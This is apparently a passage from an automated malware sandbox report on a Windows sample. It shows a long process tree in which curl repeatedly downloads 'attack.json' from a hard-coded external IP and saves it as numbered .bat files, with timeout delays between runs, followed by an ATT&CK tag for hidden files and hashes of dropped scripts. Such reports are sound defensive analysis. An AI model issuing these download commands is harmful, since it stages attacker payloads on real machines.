- C:\Windows\system32\curl.exe
  curl -o 17815.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4572
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4784
- C:\Windows\system32\curl.exe
  curl -o 7954.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4004
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1048
- C:\Windows\system32\curl.exe
  curl -o 5578.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1716
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4448
- C:\Windows\system32\curl.exe
  curl -o 1111.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4804
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1844
- C:\Windows\system32\curl.exe
  curl -o 27650.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3540
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1520
- C:\Windows\system32\curl.exe
  curl -o 22710.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2560
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1800
- C:\Windows\system32\curl.exe
  curl -o 11884.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4564
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:464
- C:\Windows\system32\curl.exe
  curl -o 1288.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1260
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1660
- C:\Windows\system32\curl.exe
  curl -o 14446.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2860
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4864
- C:\Windows\system32\curl.exe
  curl -o 32063.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2816
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1512
- C:\Windows\system32\curl.exe
  curl -o 17328.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4100
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4644
- C:\Windows\system32\curl.exe
  curl -o 23520.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:564
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2844
- C:\Windows\system32\curl.exe
  curl -o 4666.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4532
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3360
- C:\Windows\system32\curl.exe
  curl -o 28188.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4696
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:984
- C:\Windows\system32\curl.exe
  curl -o 10907.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2176
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3120
- C:\Windows\system32\curl.exe
  curl -o 24031.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1568
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2196
- C:\Windows\system32\curl.exe
  curl -o 15930.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1936
- C:\Windows\system32\curl.exe
  curl -o 20831.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3172
- C:\Windows\system32\curl.exe
  curl -o 21312.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2288
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4164
- C:\Windows\system32\curl.exe
  curl -o 21469.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1396
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2544
- C:\Windows\system32\curl.exe
  curl -o 22202.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3204
- C:\Windows\system32\curl.exe
  curl -o 14777.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2068
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2776
- C:\Windows\system32\curl.exe
  curl -o 8420.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2896
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3964
- C:\Windows\system32\curl.exe
  curl -o 539.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2152
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4520
- C:\Windows\system32\curl.exe
  curl -o 1216.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4488
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1796
- C:\Windows\system32\curl.exe
  curl -o 2726.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3396
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2084
- C:\Windows\system32\curl.exe
  curl -o 3425.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1184
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3492
- C:\Windows\system32\curl.exe
  curl -o 19997.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4788
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4492
- C:\Windows\system32\curl.exe
  curl -o 24210.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4508
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:432
- C:\Windows\system32\curl.exe
  curl -o 27877.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1772
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1492
- C:\Windows\system32\curl.exe
  curl -o 7112.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3536
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3524
- C:\Windows\system32\curl.exe
  curl -o 30396.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1372
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1164
- C:\Windows\system32\curl.exe
  curl -o 3960.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3224
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1284
- C:\Windows\system32\curl.exe
  curl -o 26411.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1584
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2952
- C:\Windows\system32\curl.exe
  curl -o 24138.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:240
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1600
- C:\Windows\system32\curl.exe
  curl -o 4727.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2620
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3384
- C:\Windows\system32\curl.exe
  curl -o 11459.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2252
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4932
- C:\Windows\system32\curl.exe
  curl -o 28440.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:740
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4816
- C:\Windows\system32\curl.exe
  curl -o 4953.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2848
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3416
- C:\Windows\system32\curl.exe
  curl -o 18442.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4300
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1036
- C:\Windows\system32\curl.exe
  curl -o 23566.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3564
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4684
- C:\Windows\system32\curl.exe
  curl -o 1642.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4872
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3576
- C:\Windows\system32\curl.exe
  curl -o 7690.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:688
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1932
- C:\Windows\system32\curl.exe
  curl -o 30018.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1320
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4640
- C:\Windows\system32\curl.exe
  curl -o 11972.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1316
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4892
- C:\Windows\system32\curl.exe
  curl -o 14449.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1876
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1808
- C:\Windows\system32\curl.exe
  curl -o 23998.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4000
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4284
- C:\Windows\system32\curl.exe
  curl -o 14351.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4940
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:276
- C:\Windows\system32\curl.exe
  curl -o 22243.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3980
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3584
- C:\Windows\system32\curl.exe
  curl -o 3011.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2908
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4388
- C:\Windows\system32\curl.exe
  curl -o 10497.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4572
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5104
- C:\Windows\system32\curl.exe
  curl -o 3547.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3888
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4764
- C:\Windows\system32\curl.exe
  curl -o 6399.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1204
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4128
- C:\Windows\system32\curl.exe
  curl -o 15408.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4804
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1992
- C:\Windows\system32\curl.exe
  curl -o 28594.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4924
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2508
- C:\Windows\system32\curl.exe
  curl -o 32026.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4516
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1120
- C:\Windows\system32\curl.exe
  curl -o 8073.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3200
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2344
- C:\Windows\system32\curl.exe
  curl -o 20728.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3152
- C:\Windows\system32\curl.exe
  curl -o 18533.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:772
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2916
- C:\Windows\system32\curl.exe
  curl -o 32034.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3692
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4216
- C:\Windows\system32\curl.exe
  curl -o 4945.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4588
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4008
- C:\Windows\system32\curl.exe
  curl -o 25404.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3608
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3468
- C:\Windows\system32\curl.exe
  curl -o 27909.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2920
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1664
- C:\Windows\system32\curl.exe
  curl -o 4157.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4696
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:716
- C:\Windows\system32\curl.exe
  curl -o 7498.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4848
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4552
- C:\Windows\system32\curl.exe
  curl -o 10419.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1568
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2196
- C:\Windows\system32\curl.exe
  curl -o 27326.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4740
- C:\Windows\system32\curl.exe
  curl -o 17405.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3172
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2684
- C:\Windows\system32\curl.exe
  curl -o 13709.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1668
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:900
- C:\Windows\system32\curl.exe
  curl -o 5790.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2484
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2704
- C:\Windows\system32\curl.exe
  curl -o 2329.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4676
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2208
- C:\Windows\system32\curl.exe
  curl -o 3024.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2388
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4596
- C:\Windows\system32\curl.exe
  curl -o 25505.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3168
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:972
- C:\Windows\system32\curl.exe
  curl -o 12542.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3148
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4824
- C:\Windows\system32\curl.exe
  curl -o 11369.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4604
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:440
- C:\Windows\system32\curl.exe
  curl -o 10708.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4908
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4012
- C:\Windows\system32\curl.exe
  curl -o 21498.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4796
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4224
- C:\Windows\system32\curl.exe
  curl -o 23044.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2448
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2664
- C:\Windows\system32\curl.exe
  curl -o 14183.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4204
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3720
- C:\Windows\system32\curl.exe
  curl -o 6637.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3348
- C:\Windows\system32\curl.exe
  curl -o 26303.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2052
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2120
- C:\Windows\system32\curl.exe
  curl -o 13769.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3696
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:224
- C:\Windows\system32\curl.exe
  curl -o 12313.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2736
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1872
- C:\Windows\system32\curl.exe
  curl -o 13076.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1284
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4624
- C:\Windows\system32\curl.exe
  curl -o 7121.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2952
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:240
- C:\Windows\system32\curl.exe
  curl -o 30271.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4076
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1180
- C:\Windows\system32\curl.exe
  curl -o 11256.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3384
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2252
- C:\Windows\system32\curl.exe
  curl -o 29426.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4932
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:740
- C:\Windows\system32\curl.exe
  curl -o 8.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1540
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2580
- C:\Windows\system32\curl.exe
  curl -o 9064.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3100
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:800
- C:\Windows\system32\curl.exe
  curl -o 18257.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2968
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5052
- C:\Windows\system32\curl.exe
  curl -o 10157.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2868
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3564
- C:\Windows\system32\curl.exe
  curl -o 32704.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:472
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4372
- C:\Windows\system32\curl.exe
  curl -o 13253.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4844
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3228
- C:\Windows\system32\curl.exe
  curl -o 11244.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1672
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2432
- C:\Windows\system32\curl.exe
  curl -o 27650.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:388
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1808
- C:\Windows\system32\curl.exe
  curl -o 17044.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:544
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4284
- C:\Windows\system32\curl.exe
  curl -o 2322.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1272
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:276
- C:\Windows\system32\curl.exe
  curl -o 27372.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3548
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2392
- C:\Windows\system32\curl.exe
  curl -o 10644.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1900
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3400
- C:\Windows\system32\curl.exe
  curl -o 29801.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4784
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5104
- C:\Windows\system32\curl.exe
  curl -o 9520.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1136
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1388
- C:\Windows\system32\curl.exe
  curl -o 11766.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1204
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3988
- C:\Windows\system32\curl.exe
  curl -o 5507.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1636
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3188
- C:\Windows\system32\curl.exe
  curl -o 8111.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4924
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2972
- C:\Windows\system32\curl.exe
  curl -o 11107.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1924
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1120
- C:\Windows\system32\curl.exe
  curl -o 917.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3200
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2324
- C:\Windows\system32\curl.exe
  curl -o 23361.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1420
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1080
- C:\Windows\system32\curl.exe
  curl -o 31971.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1696
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5040
- C:\Windows\system32\curl.exe
  curl -o 445.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3116
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4688
- C:\Windows\system32\curl.exe
  curl -o 19165.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2144
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4244
- C:\Windows\system32\curl.exe
  curl -o 27041.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4436
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2356
- C:\Windows\system32\curl.exe
  curl -o 23384.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3468
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2920
- C:\Windows\system32\curl.exe
  curl -o 9946.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1664
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2436
- C:\Windows\system32\curl.exe
  curl -o 591.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:716
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4848
- C:\Windows\system32\curl.exe
  curl -o 5681.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3136
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3216
- C:\Windows\system32\curl.exe
  curl -o 1848.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2196
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2476
- C:\Windows\system32\curl.exe
  curl -o 4046.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3160
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3172
- C:\Windows\system32\curl.exe
  curl -o 32253.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2684
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4160
- C:\Windows\system32\curl.exe
  curl -o 2762.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:900
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2484
- C:\Windows\system32\curl.exe
  curl -o 20677.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2828
- C:\Windows\system32\curl.exe
  curl -o 8796.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2208
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2388
- C:\Windows\system32\curl.exe
  curl -o 18671.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4596
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3168
- C:\Windows\system32\curl.exe
  curl -o 12645.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2152
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4528
- C:\Windows\system32\curl.exe
  curl -o 6373.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1312
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3476
- C:\Windows\system32\curl.exe
  curl -o 8041.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4756
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4420
- C:\Windows\system32\curl.exe
  curl -o 13764.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3492
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1256
- C:\Windows\system32\curl.exe
  curl -o 4656.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5076
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:196
- C:\Windows\system32\curl.exe
  curl -o 1758.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1044
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3720
- C:\Windows\system32\curl.exe
  curl -o 4527.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3348
- C:\Windows\system32\curl.exe
  curl -o 25244.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\hjUZ\10619.bat

Filesize
95B

MD5
c8e5a6d249367d7b6608cc74390718d3

SHA1
33257bf0b038893fdb932e9c178b1b66aba1c500

SHA256
bda19d2bd4c82569fa4506e06179fd9ccae29a28ed6865a1fb09d18fe7f4a7d8

SHA512
428f81250975868135747163296787b84a9db1b9b3bb78f86c4fd3ad276edd2fde5338a8ee4ec6a317ae1b75f70e5f7cdcd2648c18d21d402323137f0b71c765

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\17083.bat

Filesize
97B

MD5
806874874e131c545464315588a7d77c

SHA1
3958143d3586d14cd46606fb004b1cff84bce913

SHA256
874723c4e53966d524e04914eca19dd4987edb12c24add2d4ab7b16757881c77

SHA512
d61f53c3116c1e348cdb11929cbc092fbe169926bf0b75e0c3c937d84c0c187509f8431a41d648cd944f2d9908feb42e8e2cdd7827542018d8a87ccbe62a44ca

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\22606.bat

Filesize
94B

MD5
63273d9f7785f437c646819a21e30103

SHA1
130a684c493a8c2693dedbbb157122c95474a388

SHA256
